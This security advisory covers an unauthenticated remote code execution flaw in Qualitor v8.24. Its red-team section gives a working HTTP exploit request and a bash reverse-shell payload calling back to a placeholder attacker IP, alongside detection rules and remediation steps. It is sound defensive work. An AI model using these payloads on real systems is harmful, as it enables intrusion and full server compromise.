CVE-2024-48359

Executive Summary

CVE-2024-48359 is a critical Remote Code Execution (RCE) vulnerability discovered in Qualitor v8.24. The flaw resides in the gridValoresPopHidden parameter, allowing an unauthenticated attacker to inject and execute arbitrary commands on the target server. With no CVSS vector or EPSS score available, the risk is elevated due to the lack of a patch and public exploit code. This vulnerability poses a severe threat to any organization using Qualitor for IT service management, as it can lead to full system compromise, data exfiltration, and lateral movement within the network.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a proprietary web application (Qualitor) and is not distributed via package managers.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (unauthenticated RCE), the following is a reasonable assessment:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Immediate action required. The vulnerability is unpatched and likely exploitable.

Deep Dive & Mechanics

The vulnerability is a classic case of improper input validation leading to code injection. The gridValoresPopHidden parameter is used by Qualitor to pass dynamic values to the backend. Due to insufficient sanitization, an attacker can inject operating system commands or scripting language code (e.g., PHP, Python) that gets executed by the server.

Attack Flow:

1. An attacker sends a crafted HTTP request to a vulnerable Qualitor endpoint.
2. The request includes malicious payload in the gridValoresPopHidden parameter.
3. The server processes the parameter without proper validation, executing the injected code.
4. The attacker gains remote code execution with the privileges of the web server (typically www-data or IUSR).

Root Cause: Lack of input validation and failure to use parameterized queries or safe API calls when handling user-supplied data.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code (Qualitor v8.24)
$gridValores = $_POST['gridValoresPopHidden'];
eval("\$result = " . $gridValores . ";");

A patched version would use safe alternatives:

// Patched code (hypothetical)
$gridValores = $_POST['gridValoresPopHidden'];
// Use json_decode or similar safe parsing
$result = json_decode($gridValores, true);
if ($result === null) {
    // Handle error
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Qualitor v8.24 running on a Linux server (e.g., Ubuntu 20.04)
• Attacker: Kali Linux with Burp Suite or cURL

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /qualitor/index.php).
2. Craft a POST request with the payload in gridValoresPopHidden.
3. Execute system commands.

Example Payload (PHP-based):

POST /qualitor/index.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

gridValoresPopHidden=system('id');

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Advanced Payload (Reverse Shell):

gridValoresPopHidden=system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');

Blue Team (Defensive)

Detection:

• Monitor for unusual POST requests to Qualitor endpoints.
• Look for parameters containing shell metacharacters (;, |, &, $, `).
• Use WAF rules to block common RCE patterns.

Hunting:

• Search logs for gridValoresPopHidden parameter with suspicious content.
• Check for unexpected outbound connections from the Qualitor server.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /qualitor/index.php with gridValoresPopHidden parameter containing shell commands.
  • Outbound connections to attacker-controlled IPs on high ports (e.g., 4444, 8080).
• File IOCs:
  • Unexpected files in /tmp/ or web root (e.g., shell.php, rce.txt).
  • Modified system binaries (e.g., ls, ps).
• Process IOCs:
  • Spawned processes like bash, nc, python from the web server user.
• Log IOCs:
  • Apache/Nginx access logs showing gridValoresPopHidden with encoded payloads.

Detection Engineering

YARA Rule

rule CVE_2024_48359_Qualitor_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-48359 in Qualitor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-48359"
    strings:
        $param = "gridValoresPopHidden"
        $cmd1 = "system("
        $cmd2 = "exec("
        $cmd3 = "shell_exec("
        $cmd4 = "passthru("
        $cmd5 = "`"
        $cmd6 = "$("
    condition:
        $param and any of ($cmd*)
}

Sigma Rule

title: Qualitor RCE via gridValoresPopHidden
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-48359
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'gridValoresPopHidden'
        cs-uri-query|contains|any:
            - 'system('
            - 'exec('
            - 'shell_exec('
            - 'passthru('
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of similar parameters (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48359 Qualitor RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"gridValoresPopHidden"; http_client_body; pcre:"/(system|exec|shell_exec|passthru|`|\$\()/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Qualitor server from the internet and critical network segments.
2. Apply virtual patching via WAF (e.g., ModSecurity rule to block gridValoresPopHidden with shell metacharacters).
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Since no official patch exists, consider migrating to an alternative IT service management solution.
• If migration is not possible, implement strict input validation and disable dangerous PHP functions (system, exec, etc.) in php.ini.

Workaround:

• Remove or comment out the vulnerable code in the Qualitor source files (if you have access to the source code).
• Restrict access to the Qualitor web interface using IP whitelisting or VPN.

Valters IT
Securing Digital Frontiers